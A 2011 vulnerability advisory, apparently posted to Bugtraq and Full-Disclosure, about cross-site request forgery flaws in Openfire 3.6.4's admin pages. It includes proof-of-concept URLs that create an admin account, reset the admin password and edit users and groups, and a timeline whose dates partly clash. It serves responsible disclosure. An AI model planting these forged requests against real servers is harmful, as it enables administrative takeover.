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Date: Wed, 5 Jan 2011 21:05:55 +0530
From: "Walikar Riyaz Ahemed  Dawalmalik" <WalikarRiyazAD@...roland.com>
To: <bugtraq@...urityfocus.com>, <full-disclosure@...ts.grok.org.uk>
Subject: Multiple CSRF Vulnerabilities in Openfire 3.6.4 Administrative Section

Hi,

This is regarding multiple CSRF (Cross Site Request Forgery)
Vulnerabilities in Openfire 3.6.4 Administrative Section. The following
is the disclosure document:

Title: Multiple CSRF Vulnerabilities in Openfire 3.6.4 Administrative
Section
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Project: Openfire
Severity: High
Versions: 3.6.4 (other versions may be affected)
Exploit type: Multiple CSRF
Fixes Available: None
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Timeline:
14 October 2010:  Vendor Contacted
15 October 2010:  Vendor Response received. Asks to verify the issues in
beta.
28 October 2010:  Informed Vendor that multiple pages are still
vulnerable
03 November 2010: Acknowledgement / Update requested
03 November 2010: Update received. No fixes initiated.
23 November 2010: Informed vendor disclosure date set to 1/12/2010
22 December 2010: Update requested.
22 December 2010: Vendor asks to release information as the
vulnerabilities are already known
23 December 2010: A different contact at the Vendor location informs
that there are no updates.
24 December 2010: Disclosure date set to 5 December 2010
05 December 2010: Public disclosure.
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Product Description:
Openfire is a real time collaboration (RTC) server licensed under the
Open Source GPL. It uses the only widely adopted open protocol for
instant messaging, XMPP (also called Jabber). Openfire is incredibly
easy to setup and administer, but offers rock-solid security and
performance.
(Source: http://www.igniterealtime.org/projects/openfire/)
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Affected Files/Locations/Modules:
user-create.jsp
user-password.jsp
user-delete.jsp
group-create.jsp
group-edit.jsp
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Vulnerability Details:
An attacker can execute functions as an authenticated user by tricking a
user into making requests to the Server. The attack works by including a
link or script in a page that accesses a site to which the user is known
(or is supposed) to have been authenticated. Successful exploitation of
these vulnerabilities could result in, but not limited to, compromise of
the application, theft of cookie-based authentication credentials,
arbitrary page redirection, disclosure or modification of sensitive data
and phishing attacks.

Since the vulnerabilities exist in the administrative module, a
successful attack could cause a complete compromise of the entire
application. An attacker can send a link with the exploit to an
administrator whose access could compromise the application.
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Proof of Concept:
Create a html content (img, iframes etc.) with the following PoC URLs as
src and host for the authenticated victim.
http://localhost:9090/user-create.jsp?username=tester&name=Riyaz&email=w
alikarriyazad%40microland.com&password=test&passwordConfirm=test&isadmin
=on&create=Create+User
http://localhost:9090/user-create.jsp?username=tester&name=Riyaz&email=w
alikarriyazad%40microland.com&password=test&passwordConfirm=test&isadmin
=on&create=Create+User>
http://localhost:9090/user-password.jsp?username=admin&password=secure-p
ass&passwordConfirm=secure-pass&update=Update+Password
http://localhost:9090/user-password.jsp?username=admin&password=secure-p
ass&passwordConfirm=secure-pass&update=Update+Password>
http://localhost:9090/user-delete.jsp?username=tester&delete=Delete+User
http://localhost:9090/user-delete.jsp?username=tester&delete=Delete+User
>
http://localhost:9090/group-create.jsp?name=NewGroup&description=New+Gro
up&create=Create+Group
http://localhost:9090/group-create.jsp?name=NewGroup&description=New+Gro
up&create=Create+Group>
http://localhost:9090/group-edit.jsp?group=NewGroup&add=Add&username=adm
in&addbutton=Add
http://localhost:9090/group-edit.jsp?group=NewGroup&add=Add&username=adm
in&addbutton=Add>
http://localhost:9090/group-edit.jsp?group=NewGroup&admin=abc@...mple.co
m&updateMember=Update
http://localhost:9090/group-edit.jsp?group=NewGroup&admin=abc@...mple.co
m&updateMember=Update>
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Warm Regards,
Riyaz Ahemed Walikar || Senior Engineer - Professional Services
Vulnerability Assessment & Penetration Testing
Microland Limited
www.microland.com


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